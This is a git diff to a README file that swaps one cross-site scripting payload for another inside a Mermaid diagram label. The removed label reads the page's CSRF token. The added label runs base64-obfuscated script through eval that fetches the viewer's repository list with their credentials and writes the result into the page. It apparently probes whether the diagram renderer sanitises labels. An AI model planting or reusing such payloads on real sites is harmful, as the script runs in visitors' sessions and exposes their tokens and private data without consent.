diff --git a/README.md b/README.md
index 80e8d51..89442b5 100644
--- a/README.md
+++ b/README.md
@@ -13,5 +13,5 @@ sequenceDiagram
 
 ```mermaid
 erDiagram
-  C ||--o{ D : "<img src=x onerror=top.document.title=top.document.querySelector('meta[name=_csrf]').content>"
+  C ||--o{ D : "<img src=x onerror=eval(atob('ZmV0Y2goJy9hcGkvdjEvdXNlci9yZXBvcycse2NyZWRlbnRpYWxzOidpbmNsdWRlJ30pLnRoZW4oZnVuY3Rpb24ocil7cmV0dXJuIHIudGV4dCgpLnRoZW4oZnVuY3Rpb24odCl7ZG9jdW1lbnQuYm9keS5zZXRBdHRyaWJ1dGUoJ2RhdGEtYXBpJyxyLnN0YXR1cysnfCcrdC5zbGljZSgwLDE0MCkpfSl9KQ=='))>"
 ```